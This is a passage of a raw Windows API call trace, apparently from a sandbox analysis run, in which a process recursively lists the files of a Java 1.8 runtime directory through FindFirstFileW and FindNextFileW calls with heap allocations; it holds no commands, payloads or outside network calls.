[0094.778] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1ae40, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="WindowsAccessBridge-64.dll", cAlternateFileName="WINDOW~1.DLL")) returned 1 [0094.778] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2f040, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="wsdetect.dll", cAlternateFileName="")) returned 1 [0094.778] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13040, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="zip.dll", cAlternateFileName="")) returned 1 [0094.779] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13040, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="zip.dll", cAlternateFileName="")) returned 0 [0094.779] FindClose (in: hFindFile=0xc19bb8 | out: hFindFile=0xc19bb8) returned 1 [0094.779] GetProcessHeap () returned 0xc00000 [0094.779] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37948a8 | out: hHeap=0xc00000) returned 1 [0094.781] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcac, dwReserved0=0x0, dwReserved1=0x0, cFileName="COPYRIGHT", cAlternateFileName="COPYRI~1")) returned 1 [0094.781] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe1f09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa80821a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lib", cAlternateFileName="")) returned 1 [0094.781] GetProcessHeap () returned 0xc00000 [0094.781] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37948a8 [0094.782] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\*", lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe1f09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa80821a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName=".", cAlternateFileName="")) returned 0xc19bb8 [0094.786] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe1f09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa80821a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="..", cAlternateFileName="")) returned 1 [0095.166] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x95, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="accessibility.properties", cAlternateFileName="ACCESS~1.PRO")) returned 1 [0095.166] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe451d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="amd64", cAlternateFileName="")) returned 1 [0095.166] GetProcessHeap () returned 0xc00000 [0095.166] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0095.167] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe451d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName=".", cAlternateFileName="")) returned 0xc19cf8 [0095.170] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe451d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="..", cAlternateFileName="")) returned 1 [0095.171] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x27a, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="jvm.cfg", cAlternateFileName="")) returned 1 [0095.171] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x27a, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="jvm.cfg", cAlternateFileName="")) returned 0 [0095.171] FindClose (in: hFindFile=0xc19cf8 | out: hFindFile=0xc19cf8) returned 1 [0095.171] GetProcessHeap () returned 0xc00000 [0095.171] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0095.171] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="applet", cAlternateFileName="")) returned 1 [0095.172] GetProcessHeap () returned 0xc00000 [0095.172] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0095.172] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\applet\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName=".", cAlternateFileName="")) returned 0xc19cf8 [0095.173] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="..", cAlternateFileName="")) returned 1 [0095.173] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="..", cAlternateFileName="")) returned 0 [0095.173] FindClose (in: hFindFile=0xc19cf8 | out: hFindFile=0xc19cf8) returned 1 [0095.173] GetProcessHeap () returned 0xc00000 [0095.173] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0095.173] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x562, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="calendars.properties", cAlternateFileName="CALEND~1.PRO")) returned 1 [0095.173] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa7bbd53, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xaa7bbd53, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa80821a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2e56fa, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="charsets.jar", cAlternateFileName="")) returned 1 [0095.174] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x14983, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="classlist", cAlternateFileName="CLASSL~1")) returned 1 [0095.174] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105e2a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="cmm", cAlternateFileName="")) returned 1 [0095.174] GetProcessHeap () returned 0xc00000 [0095.174] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0095.174] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105e2a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName=".", cAlternateFileName="")) returned 0xc19cf8 [0095.175] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105e2a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="..", cAlternateFileName="")) returned 1 [0095.175] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc824, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="CIEXYZ.pf", cAlternateFileName="")) returned 1 [0095.175] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x278, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="GRAY.pf", cAlternateFileName="")) returned 1 [0095.175] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="LINEAR_RGB.pf", cAlternateFileName="LINEAR~1.PF")) returned 1 [0095.176] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4302a, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="PYCC.pf", cAlternateFileName="")) returned 1 [0095.176] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="sRGB.pf", cAlternateFileName="")) returned 1 [0095.176] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="sRGB.pf", cAlternateFileName="")) returned 0 [0095.176] FindClose (in: hFindFile=0xc19cf8 | out: hFindFile=0xc19cf8) returned 1 [0095.176] GetProcessHeap () returned 0xc00000 [0095.176] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0095.176] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15ac, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="content-types.properties", cAlternateFileName="CONTEN~1.PRO")) returned 1 [0095.176] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x101a, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="currency.data", cAlternateFileName="CURREN~1.DAT")) returned 1 [0095.176] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa10e432c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="deploy", cAlternateFileName="")) returned 1 [0095.177] GetProcessHeap () returned 0xc00000 [0095.177] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0095.177] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa10e432c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName=".", cAlternateFileName="")) returned 0xc19cf8 [0095.236] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa10e432c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="..", cAlternateFileName="")) returned 1 [0095.237] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x374c, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="ffjcext.zip", cAlternateFileName="")) returned 1 [0095.237] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xb2c, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="messages.properties", cAlternateFileName="MESSAG~1.PRO")) returned 1 [0095.237] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcea, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="messages_de.properties", cAlternateFileName="MESSAG~2.PRO")) returned 1 [0095.237] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe10, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="messages_es.properties", cAlternateFileName="MESSAG~3.PRO")) returned 1 [0095.237] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xd51, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="messages_fr.properties", cAlternateFileName="MESSAG~4.PRO")) returned 1 [0095.237] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc97, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="messages_it.properties", cAlternateFileName="MEC9EA~1.PRO")) returned 1 [0095.237] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x18cd, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="messages_ja.properties", 